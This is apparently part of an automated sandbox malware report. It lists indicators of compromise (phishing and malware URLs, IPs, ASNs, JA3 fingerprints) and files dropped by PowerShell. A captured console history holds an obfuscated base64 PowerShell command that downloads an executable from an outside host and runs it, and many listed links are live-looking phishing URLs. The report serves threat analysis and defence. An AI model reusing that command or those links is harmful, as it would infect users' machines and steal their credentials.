	https://ad.doubleclick.net/clk;265186560;90846275;t;pc=%5BTPAS_ID%5D?//geniebroots%E3%80%82com/phpfile/rahc0c1ro5ianbggqwkdsf6ufnn7jolo15webcflp0bnelsrujohtelw4knxh4muirbbwpiqnmxhw6o71vktxvreda3oowswwrljf27it3s4puewrgrigembujrth68xupzhbegfezobam8bfk3mb02lfrpso4xqk2v5670icpargpmkvtelqoszhiqzhwjnv6aemhyk/anVlcmdlbi5zZWlkbGVyQGlwcm90ZXguZGU=	Get hash	malicious	HTMLPhisher	Browse
	http://2540.bacargrow.live	Get hash	malicious	Unknown	Browse
	https://me-qr.com/btGspXT0	Get hash	malicious	Unknown	Browse
	http://agoda.onelink.me/1640755593?pid=Email&c=inquiry_booking&af_dp=agoda%3A%2F%2Fhotel%2FAgoda%2520ABS%2520Dummy%2F2544216%26temp%3D0&adults=2&children=0&rooms=1&checkIn=2022-02-17&checkOut=2022-02-20&los=3&cid=1772772&af_force_dp=true&af_r=////demoboxes.biz/css/Hyperoptic.com/owls/mclap/bWFyay5jdW5uaW5naGFtQGh5cGVyb3B0aWMuY29t	Get hash	malicious	Unknown	Browse
	https://ad.doubleclick.net/clk;265186560;90846275;t;pc=%5BTPAS_ID%5D?//baidu.com///link?url=T6L2xPWnc7Y1hPij6Qix4uQPIFUW-MXpvBbStD1u60Vfpt2BI8qjzSoSBbtobhAJ&wd#.YWFyb25AdGV4dHVtLmNvbQ==	Get hash	malicious	Unknown	Browse
	https://fundamental-learning.com/MAILING/mail-restrictions/?email=test@test.be	Get hash	malicious	HTMLPhisher	Browse
	https://sites.google.com/view/dsiezvef/accueil	Get hash	malicious	Unknown	Browse
	https://zestardshop.com/shopifyapp/DeliveryDatePro/public/js/snippets.js	Get hash	malicious	Unknown	Browse
151.101.66.137	2023121142000021ki01kvjs.html	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-latest.min.js

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
code.jquery.com	https://link.mail.beehiiv.com/ls/click?upn=o9n-2BPZJ9HxY-2BNn0NsKjT5hUBhVht-2FstIZ3fJt4NbrOvKz6rAIvnISg1OV8uRo7ULUtfftPBEHmlKICRhc9FRLw-3D-3DSwbx_8h-2BnX6CIr-2F7ENp3fro50yo7otB0zihj3cDKf16oOl5ECQxgvF1GsvMc2NU74YEvFzDDMtl3iNJ-2BgBRLrbLvfIODmtN9Vmt58usUhQbyQHodO4bf4CP2smfCpLk2lhVEZzA6hXqrAtqtIJStx719Az2RtYNfHIorpHOVPRA8cDd8lJuL2f3nmmfrJnSfLJ-2FP9XbGQBCT742Zbax7Urhc3lNdPN5sVEg-2FTP1u7HgZ4wOmo7IpbdZoBmSGr0Qo-2BMCkXaxc7oYAbc05G7GjASEmPPcxA7adZGSPSGDLQLPGIJ2r-2FMZJcq7VQildG6sYjZH73q7aDwL6Bj3vXGH7iCx5Ay6UJT6t2L4AXlR2DchepFsjSahQSvP-2Bqg3ASSxrsb8MXUcwmnAVR2lLmDawQXjRay76dC3Y-2BORmxtQNE3RsB8piTDp2g5rBTIO-2BYip9PB0JgoPQfYX9vN2RYkheOMFbZBA-3D-3D#bXRyQG5vdm96eW1lcy5jb20=	Get hash	malicious	Unknown	Browse	151.101.194.137
	https://ad.doubleclick.net/clk;265186560;90846275;t;pc=%5BTPAS_ID%5D?//dreamgirlhairextensions.com/html/xtml/MLNWDH1LH58S66ZQIMFNGP7S45_=/.filepage/vivi//ap@dhre.ae	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	https://loakiakaka-2020kdmd.weeblysite.com/	Get hash	malicious	Unknown	Browse	151.101.194.137
	https://gwrepermits.com/into/wait/before/logins/info.php	Get hash	malicious	Unknown	Browse	151.101.194.137
	https://goldenocalarealestate-af3.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	151.101.130.137
	https://oyster-app-wfmt9.ondigitalocean.app/w5/?tel=1-833-321-0248	Get hash	malicious	TechSupportScam	Browse	151.101.130.137
	https://www.socialvolunteerofbangladesh.org/0190280.html	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
	https://attcom-100190.weeblysite.com/	Get hash	malicious	Unknown	Browse	151.101.66.137
	INV0ICE_988874738877.htm	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	https://r.smartbrief.com/resp/rFdjCeuwAqDzbViPCigydcCicNXgtH?format=multipart	Get hash	malicious	Unknown	Browse	151.101.2.137

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
HETZNER-ASDE	file.exe	Get hash	malicious	Vidar	Browse	88.198.191.199
	https://www.socialvolunteerofbangladesh.org/0190280.html	Get hash	malicious	HTMLPhisher	Browse	136.243.90.249
	6SWa3A8x8P.exe	Get hash	malicious	RedLine	Browse	5.75.211.197
	http://thegillcorp.com	Get hash	malicious	Unknown	Browse	78.46.117.148
	http://www.corevents.org	Get hash	malicious	Unknown	Browse	5.9.177.100
	http://es25019.knas32.ru	Get hash	malicious	Unknown	Browse	88.198.200.36
	SecuriteInfo.com.Trojan.Win32.Crypt.9865.26501.exe	Get hash	malicious	Socks5Systemz	Browse	176.9.47.240
	r01-25Arrival.exe	Get hash	malicious	FormBook	Browse	46.4.135.10
	http://www.thegillcorp.com/	Get hash	malicious	Unknown	Browse	78.46.117.148
	SecuriteInfo.com.Trojan.Win32.Crypt.8573.6873.exe	Get hash	malicious	Socks5Systemz	Browse	176.9.47.240
FASTLYUS	https://link.mail.beehiiv.com/ls/click?upn=o9n-2BPZJ9HxY-2BNn0NsKjT5hUBhVht-2FstIZ3fJt4NbrOvKz6rAIvnISg1OV8uRo7ULUtfftPBEHmlKICRhc9FRLw-3D-3DSwbx_8h-2BnX6CIr-2F7ENp3fro50yo7otB0zihj3cDKf16oOl5ECQxgvF1GsvMc2NU74YEvFzDDMtl3iNJ-2BgBRLrbLvfIODmtN9Vmt58usUhQbyQHodO4bf4CP2smfCpLk2lhVEZzA6hXqrAtqtIJStx719Az2RtYNfHIorpHOVPRA8cDd8lJuL2f3nmmfrJnSfLJ-2FP9XbGQBCT742Zbax7Urhc3lNdPN5sVEg-2FTP1u7HgZ4wOmo7IpbdZoBmSGr0Qo-2BMCkXaxc7oYAbc05G7GjASEmPPcxA7adZGSPSGDLQLPGIJ2r-2FMZJcq7VQildG6sYjZH73q7aDwL6Bj3vXGH7iCx5Ay6UJT6t2L4AXlR2DchepFsjSahQSvP-2Bqg3ASSxrsb8MXUcwmnAVR2lLmDawQXjRay76dC3Y-2BORmxtQNE3RsB8piTDp2g5rBTIO-2BYip9PB0JgoPQfYX9vN2RYkheOMFbZBA-3D-3D#bXRyQG5vdm96eW1lcy5jb20=	Get hash	malicious	Unknown	Browse	151.101.194.137
	http://agoda.onelink.me/1640755593?pid=Email&c=inquiry_booking&af_dp=agoda%3A%2F%2Fhotel%2FAgoda%2520ABS%2520Dummy%2F2544216%26temp%3D0&adults=2&children=0&rooms=1&checkIn=2022-02-17&checkOut=2022-02-20&los=3&cid=1772772&af_force_dp=true&af_r=////demoboxes.biz/css/Hyperoptic.com/owls/mclap/bWFyay5jdW5uaW5naGFtQGh5cGVyb3B0aWMuY29t	Get hash	malicious	Unknown	Browse	151.101.129.229
	https://ad.doubleclick.net/clk;265186560;90846275;t;pc=%5BTPAS_ID%5D?//dreamgirlhairextensions.com/html/xtml/MLNWDH1LH58S66ZQIMFNGP7S45_=/.filepage/vivi//ap@dhre.ae	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	http://tap-rt-prod1-t.campaign.adobe.com/r/?id=h9ecb88b,c1e96b3,69fe0fb&p1=lqcg8wqxyd8l5pmy.lgknhorh4twvs8q.ru/Zmf1Kr7pqJGcon9pWrbxzO9nNqH0O/#0dG9tLmJpbGJydWNrQGNhbnlvbnMuZWR1	Get hash	malicious	HTMLPhisher	Browse	151.101.65.229
	https://loakiakaka-2020kdmd.weeblysite.com/	Get hash	malicious	Unknown	Browse	151.101.129.46
	http://peyon.fun/web/index.html	Get hash	malicious	Unknown	Browse	151.101.1.229
	https://massimotamburrino.com/dhI/	Get hash	malicious	Unknown	Browse	151.101.1.229
	https://gwrepermits.com/into/wait/before/logins/info.php	Get hash	malicious	Unknown	Browse	151.101.194.137
	https://goldenocalarealestate-af3.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	151.101.130.137
	https://oyster-app-wfmt9.ondigitalocean.app/w5/?tel=1-833-321-0248	Get hash	malicious	TechSupportScam	Browse	151.101.130.137

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1138de370e523e824bbca92d049a3777	https://ad.doubleclick.net/clk;265186560;90846275;t;pc=%5BTPAS_ID%5D?//geniebroots%E3%80%82com/phpfile/rahc0c1ro5ianbggqwkdsf6ufnn7jolo15webcflp0bnelsrujohtelw4knxh4muirbbwpiqnmxhw6o71vktxvreda3oowswwrljf27it3s4puewrgrigembujrth68xupzhbegfezobam8bfk3mb02lfrpso4xqk2v5670icpargpmkvtelqoszhiqzhwjnv6aemhyk/anVlcmdlbi5zZWlkbGVyQGlwcm90ZXguZGU=	Get hash	malicious	HTMLPhisher	Browse	23.1.237.25
	sPa8D24P5D.exe	Get hash	malicious	Amadey, PureLog Stealer, Xmrig, zgRAT	Browse	23.1.237.25
	https://ad.doubleclick.net/clk;265186560;90846275;t;pc=%5BTPAS_ID%5D?//baidu.com///link?url=T6L2xPWnc7Y1hPij6Qix4uQPIFUW-MXpvBbStD1u60Vfpt2BI8qjzSoSBbtobhAJ&wd#.YWFyb25AdGV4dHVtLmNvbQ==	Get hash	malicious	Unknown	Browse	23.1.237.25
	https://fundamental-learning.com/MAILING/mail-restrictions/?email=test@test.be	Get hash	malicious	HTMLPhisher	Browse	23.1.237.25
	https://sites.google.com/view/dsiezvef/accueil	Get hash	malicious	Unknown	Browse	23.1.237.25
	http://93.123.85.149/x0ox0ox0oxDefault/z0r0.x86	Get hash	malicious	Unknown	Browse	23.1.237.25
	https://massimotamburrino.com/dhI/	Get hash	malicious	Unknown	Browse	23.1.237.25
	https://orange-wind-1189.on.fleek.co/	Get hash	malicious	Unknown	Browse	23.1.237.25
	https://oyster-app-wfmt9.ondigitalocean.app/w5/?tel=1-833-321-0248	Get hash	malicious	TechSupportScam	Browse	23.1.237.25
	https://update-metamask.pages.dev/	Get hash	malicious	Unknown	Browse	23.1.237.25
28a2c9bd18a11de089ef85a160da29e4	https://link.mail.beehiiv.com/ls/click?upn=o9n-2BPZJ9HxY-2BNn0NsKjT5hUBhVht-2FstIZ3fJt4NbrOvKz6rAIvnISg1OV8uRo7ULUtfftPBEHmlKICRhc9FRLw-3D-3DSwbx_8h-2BnX6CIr-2F7ENp3fro50yo7otB0zihj3cDKf16oOl5ECQxgvF1GsvMc2NU74YEvFzDDMtl3iNJ-2BgBRLrbLvfIODmtN9Vmt58usUhQbyQHodO4bf4CP2smfCpLk2lhVEZzA6hXqrAtqtIJStx719Az2RtYNfHIorpHOVPRA8cDd8lJuL2f3nmmfrJnSfLJ-2FP9XbGQBCT742Zbax7Urhc3lNdPN5sVEg-2FTP1u7HgZ4wOmo7IpbdZoBmSGr0Qo-2BMCkXaxc7oYAbc05G7GjASEmPPcxA7adZGSPSGDLQLPGIJ2r-2FMZJcq7VQildG6sYjZH73q7aDwL6Bj3vXGH7iCx5Ay6UJT6t2L4AXlR2DchepFsjSahQSvP-2Bqg3ASSxrsb8MXUcwmnAVR2lLmDawQXjRay76dC3Y-2BORmxtQNE3RsB8piTDp2g5rBTIO-2BYip9PB0JgoPQfYX9vN2RYkheOMFbZBA-3D-3D#bXRyQG5vdm96eW1lcy5jb20=	Get hash	malicious	Unknown	Browse	13.85.23.86 173.222.162.7 204.79.197.222 13.107.42.254 13.89.179.11 13.107.219.254 40.126.28.12 20.187.64.58 23.1.237.25
	http://Sbm-Sbm.onlinemailmicrosotfvalidation.com/?s=di5jYWxhbWVAc2JtLm1j	Get hash	malicious	Unknown	Browse	13.85.23.86 173.222.162.7 204.79.197.222 13.107.42.254 13.89.179.11 13.107.219.254 40.126.28.12 20.187.64.58 23.1.237.25
	https://ad.doubleclick.net/clk;265186560;90846275;t;pc=%5BTPAS_ID%5D?//geniebroots%E3%80%82com/phpfile/rahc0c1ro5ianbggqwkdsf6ufnn7jolo15webcflp0bnelsrujohtelw4knxh4muirbbwpiqnmxhw6o71vktxvreda3oowswwrljf27it3s4puewrgrigembujrth68xupzhbegfezobam8bfk3mb02lfrpso4xqk2v5670icpargpmkvtelqoszhiqzhwjnv6aemhyk/anVlcmdlbi5zZWlkbGVyQGlwcm90ZXguZGU=	Get hash	malicious	HTMLPhisher	Browse	13.85.23.86 173.222.162.7 204.79.197.222 13.107.42.254 13.89.179.11 13.107.219.254 40.126.28.12 20.187.64.58 23.1.237.25
	http://2540.bacargrow.live	Get hash	malicious	Unknown	Browse	13.85.23.86 173.222.162.7 204.79.197.222 13.107.42.254 13.89.179.11 13.107.219.254 40.126.28.12 20.187.64.58 23.1.237.25
	https://me-qr.com/btGspXT0	Get hash	malicious	Unknown	Browse	13.85.23.86 173.222.162.7 204.79.197.222 13.107.42.254 13.89.179.11 13.107.219.254 40.126.28.12 20.187.64.58 23.1.237.25
	http://agoda.onelink.me/1640755593?pid=Email&c=inquiry_booking&af_dp=agoda%3A%2F%2Fhotel%2FAgoda%2520ABS%2520Dummy%2F2544216%26temp%3D0&adults=2&children=0&rooms=1&checkIn=2022-02-17&checkOut=2022-02-20&los=3&cid=1772772&af_force_dp=true&af_r=////demoboxes.biz/css/Hyperoptic.com/owls/mclap/bWFyay5jdW5uaW5naGFtQGh5cGVyb3B0aWMuY29t	Get hash	malicious	Unknown	Browse	13.85.23.86 173.222.162.7 204.79.197.222 13.107.42.254 13.89.179.11 13.107.219.254 40.126.28.12 20.187.64.58 23.1.237.25
	https://ad.doubleclick.net/clk;265186560;90846275;t;pc=%5BTPAS_ID%5D?//baidu.com///link?url=T6L2xPWnc7Y1hPij6Qix4uQPIFUW-MXpvBbStD1u60Vfpt2BI8qjzSoSBbtobhAJ&wd#.YWFyb25AdGV4dHVtLmNvbQ==	Get hash	malicious	Unknown	Browse	13.85.23.86 173.222.162.7 204.79.197.222 13.107.42.254 13.89.179.11 13.107.219.254 40.126.28.12 20.187.64.58 23.1.237.25
	https://fundamental-learning.com/MAILING/mail-restrictions/?email=test@test.be	Get hash	malicious	HTMLPhisher	Browse	13.85.23.86 173.222.162.7 204.79.197.222 13.107.42.254 13.89.179.11 13.107.219.254 40.126.28.12 20.187.64.58 23.1.237.25
	https://sites.google.com/view/dsiezvef/accueil	Get hash	malicious	Unknown	Browse	13.85.23.86 173.222.162.7 204.79.197.222 13.107.42.254 13.89.179.11 13.107.219.254 40.126.28.12 20.187.64.58 23.1.237.25
	https://zestardshop.com/shopifyapp/DeliveryDatePro/public/js/snippets.js	Get hash	malicious	Unknown	Browse	13.85.23.86 173.222.162.7 204.79.197.222 13.107.42.254 13.89.179.11 13.107.219.254 40.126.28.12 20.187.64.58 23.1.237.25
6271f898ce5be7dd52b0fc260d0662b3	Incoming_Payment.svg	Get hash	malicious	AMSIReaper, AgentTesla, HTMLPhisher	Browse	13.107.21.200
	https://rnsindia.online/aa/_y.php?uni=truchc@deerequipment.com&aidna=Ki5ybnNpbmRpYS5vbmxpbmU==&u=ZXgzLnNhLmNvbS9zaHMvc3BzcHNwc3Bzc3Bzc3MvdHJ1Y2hjQGRlZXJlcXVpcG1lbnQuY29t	Get hash	malicious	Unknown	Browse	13.107.21.200
	PO0124.docx.doc	Get hash	malicious	Unknown	Browse	13.107.21.200
	Poste officiel	Get hash	malicious	Unknown	Browse	13.107.21.200
	https://storage.googleapis.com/edusa/algonquincollege.html#4oIXrT398LnkF32ajqxirfcrg4NWQPVFNZXVDZWNH1708863JDQB299741a9	Get hash	malicious	Phisher	Browse	13.107.21.200
	Accept Files.Docx	Get hash	malicious	Unknown	Browse	13.107.21.200
	Invoice164011.Docx	Get hash	malicious	Unknown	Browse	13.107.21.200
	z43FAC98656700.CMD.exe	Get hash	malicious	Remcos	Browse	13.107.21.200
	vRecording__57seconds__jacksonjet0213687.html. .dat	Get hash	malicious	Phisher	Browse	13.107.21.200
	http://segy.shop	Get hash	malicious	Unknown	Browse	13.107.21.200
3b5074b1b5d032e5620f69f9f700ff0e	https://zestardshop.com/shopifyapp/DeliveryDatePro/public/js/snippets.js	Get hash	malicious	Unknown	Browse	91.107.214.239
	SecuriteInfo.com.Variant.Ransom.Loki.1548.16542.13389.exe	Get hash	malicious	DarkTortilla, Remcos	Browse	91.107.214.239
	lala.exe	Get hash	malicious	Unknown	Browse	91.107.214.239
	lala.exe	Get hash	malicious	Unknown	Browse	91.107.214.239
	Quotation 5100276270, 5100276229, 5100276243.exe	Get hash	malicious	AgentTesla	Browse	91.107.214.239
	Notesvb.msi	Get hash	malicious	Unknown	Browse	91.107.214.239
	https://loakiakaka-2020kdmd.weeblysite.com/	Get hash	malicious	Unknown	Browse	91.107.214.239
	BILL93607.js	Get hash	malicious	NetSupport RAT	Browse	91.107.214.239
	6SWa3A8x8P.exe	Get hash	malicious	RedLine	Browse	91.107.214.239
	urBo9Q4ZQq.exe	Get hash	malicious	RHADAMANTHYS	Browse	91.107.214.239

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1661216
Entropy (8bit):	6.9296589811978535
Encrypted:	false
SSDEEP:	49152:Do4o2O9f65YTz7jGnD3D121zsax1KWMXz/qIFI2t7:DTMwrMIWMXOIG2t7
MD5:	A9C5924063A253F64FB86BC924BE6996
SHA1:	C39BA1E011318B3EDF295D4BDDE3D56B5DE89972
SHA-256:	EB1B278B91A8F183F9749948ABD9556EC21B03CA852C53E423D824D5D7CC3DE4
SHA-512:	57F0F5E8FA907D92FEB6175AB32253BFEF9F6ACF25E5CE3273F12FD428E76A07EC7C8FC007DC2C13DC0C6841222D8874FB7E362D7CBE70F287583782CD3D311E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 1%, Browse
Reputation:	low
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d....}e.........."......z..........T..........@..........................................`.................................................08..........H........l...... W...................................-..(...0...@............C...............................text....y.......z.................. ..`.rdata..d............~..............@..@.data....U..........................@....pdata...l.......n..................@..@.00cfg..8....p......................@..@.gxfg...`*.......,..................@..@.tls.................2..............@..._RDATA..\............4..............@..@.rsrc...H............6..............@..@.reloc........... ..................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	9713
Entropy (8bit):	4.93568648418653
Encrypted:	false
SSDEEP:	192:Pxoe5lpOdxoe56ib49Vsm5emdagkjDt4iWN3yBGHB9smMdcU6CBdcU6Ch9smwY1D:lVib49Vkjh4iUxlYvcYKib4o
MD5:	A7EDDF0DCC37957ABAFE63CE6D0BE4CA
SHA1:	5B09680EF1C3C405D698481E1364BE0C412C7A9C
SHA-256:	B9F314DC6C4DDB176CB92C77ECB5FCA91FB58FBE12DCFD9CEB4E8BFFC07B5327
SHA-512:	A906C8FFAB88AD0CEAD9A5B4D7D4089C1621A8D36F7190EF6FD829B0D942BBBC89E76424C46E204282B6985C02ABD3488082A6A2A4D88CDE396C480E2989AF73
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	PSMODULECACHE......e..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.............z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	21860
Entropy (8bit):	5.538317762116183
Encrypted:	false
SSDEEP:	384:f8kjrDUQMw1iQsuw6Xg3D4XYUh8OIDdPZ73TaDdEvt3uaJkmg/d3PkraK:0WrDlME3dXKUhwtBjapy2mg/Nkj
MD5:	C8A40EED1392C94ED983389934AA6AD8
SHA1:	0455501EA4DF6CCC0FF2BC28FB9AD715C011BA7D
SHA-256:	C5D9D0FD0B851F97F7E36EC53A72800AF5F387B3DAA60A9B61261DEBE34237A3
SHA-512:	55EAB5D7686BBFC8E5273998E64A51F780D37712CC27C493B704B760D2F62EE98BAF02BEB56A4A5772E76254836A3F4007FA6441F858149427484E4FEC75E502
Malicious:	false
Reputation:	low
Preview:	@...e...............$...........................................H...............o..b~.D.poM...e..... .Microsoft.PowerShell.ConsoleHostD...............4..7..D.#V.....L.......System.Management.Automation0.................Vn.F..kLsw..........System..4...............<."..Ke@...j..........System.Core.L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.8..................1...L..U;V.<}........System.Numerics.4.................%...K... ...........System.Xml..@................z.U..G...5.f.1........System.DirectoryServices<................t.,.lG....M...........System.Management...4...............&.QiA0aN.:... .G........System.Data.<...............i..VdqF...\|...........System.ConfigurationH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<................$@...J....M+.B........System.Transactions.H..............@-....f.J.\|.7h8..q.......Microsoft.Powershell.PSReadline.8.................C}...C....n..Bi.......Microsoft.CSharpP...............

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pzkscagc.r3q.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tqvsfwa5.dcp.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	356
Entropy (8bit):	5.958954215539048
Encrypted:	false
SSDEEP:	6:UJeQaLxHwQ8tV2in9MmCVsqXhKjqJPpvL//yKqkO+LgyKBM3S1R1KCsu2xKIYMeF:UEQalQQ8tki9CVs8rJhD/6KqaLgyaISH
MD5:	10C4F0BF47724974023C5530786C131D
SHA1:	61AA492D04A546AA47D45666222A7DD48863EC1B
SHA-256:	C734BA4993A163A664001095D3AF65B8F19C4F0E6B4A9CAAA1E43C6A119E78C1
SHA-512:	6E74FA18488682FF56CE78974516C039036BC752DA495DB97F7C8CF7E9875E6241DF0021BFE86991580711286027D9551CFED091429ADC960E4D334B9B75367A
Malicious:	false
Preview:	ipconfig /flushdns..$base64 = "Y2xlYXItaG9zdDsNCiRwYXRoMSA9ICdjOlxcdXNlcnNcXHB1YmxpY1xcZmlsZW5hbWUuZXhlJzsNCml3ciAtdXJpIGh0dHBzOi8vcGl4ZWx0ZWNobmljYWwuY29tL1YxeC8xNzI5ODggLW91dGZpbGUgJHBhdGgxOw0Kc3RhcnQtcHJvY2VzcyAkcGF0aDE7DQo=";..iex([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64)));..Set-Clipboard -Value " ";..exit;..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms (copy)

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	5440
Entropy (8bit):	3.930523992325763
Encrypted:	false
SSDEEP:	48:kOzp8TGYl148hSCTU2Ksbukvjwo6n7mMwqbFdSogZoNH7mMwq8WdSogZo4G1:H8TGn8hSCYh3kvMLmMZbyH+mMZUHR4
MD5:	293A29DF0B36455657DC2C81A9C00340
SHA1:	284FC346D65D7FAE644A79C89B6209E6F10ADDA3
SHA-256:	1255DDC8996FC5F9F0C6F507DD8DC0DABE9B7D759CD72017FF68316EB26CB58C
SHA-512:	255941B92102917E848F5199C9F31CF84C9B9011A31DC57A6A9C837DEC400CBE9D52C5AB6BBFF8B4E0B140A800489E2488271665CB36D6CAFBADCF6BA4F7DEF3
Malicious:	false
Preview:	...................................FL..................F. .. ......{4....G.g8P..z.:{.............................:..DG..Yr?.D..U..k0.&...&.........{4...(...9.....g8P......t...CFSF..1.....FW.H..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......FW.H:X.I..............................A.p.p.D.a.t.a...B.V.1.....FW.I..Roaming.@......FW.H:X.I..........................7...R.o.a.m.i.n.g.....\.1.....:X.I..MICROS~1..D......FW.H:X.J..............................M.i.c.r.o.s.o.f.t.....V.1.....FW.M..Windows.@......FW.H:X.I.............................W.i.n.d.o.w.s.......1.....FW.H..STARTM~1..n......FW.H:X.I....................D.....R=..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....:X.J..Programs..j......FW.H:X.J....................@........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......FW.H:X.J..........................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......FW.H:X.J....Q...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\JONTBIVYR72E7SG3O32U.temp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	5440
Entropy (8bit):	3.930523992325763
Encrypted:	false
SSDEEP:	48:kOzp8TGYl148hSCTU2Ksbukvjwo6n7mMwqbFdSogZoNH7mMwq8WdSogZo4G1:H8TGn8hSCYh3kvMLmMZbyH+mMZUHR4
MD5:	293A29DF0B36455657DC2C81A9C00340
SHA1:	284FC346D65D7FAE644A79C89B6209E6F10ADDA3
SHA-256:	1255DDC8996FC5F9F0C6F507DD8DC0DABE9B7D759CD72017FF68316EB26CB58C
SHA-512:	255941B92102917E848F5199C9F31CF84C9B9011A31DC57A6A9C837DEC400CBE9D52C5AB6BBFF8B4E0B140A800489E2488271665CB36D6CAFBADCF6BA4F7DEF3
Malicious:	false
Preview:	...................................FL..................F. .. ......{4....G.g8P..z.:{.............................:..DG..Yr?.D..U..k0.&...&.........{4...(...9.....g8P......t...CFSF..1.....FW.H..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......FW.H:X.I..............................A.p.p.D.a.t.a...B.V.1.....FW.I..Roaming.@......FW.H:X.I..........................7...R.o.a.m.i.n.g.....\.1.....:X.I..MICROS~1..D......FW.H:X.J..............................M.i.c.r.o.s.o.f.t.....V.1.....FW.M..Windows.@......FW.H:X.I.............................W.i.n.d.o.w.s.......1.....FW.H..STARTM~1..n......FW.H:X.I....................D.....R=..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....:X.J..Programs..j......FW.H:X.J....................@........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......FW.H:X.J..........................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......FW.H:X.J....Q...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
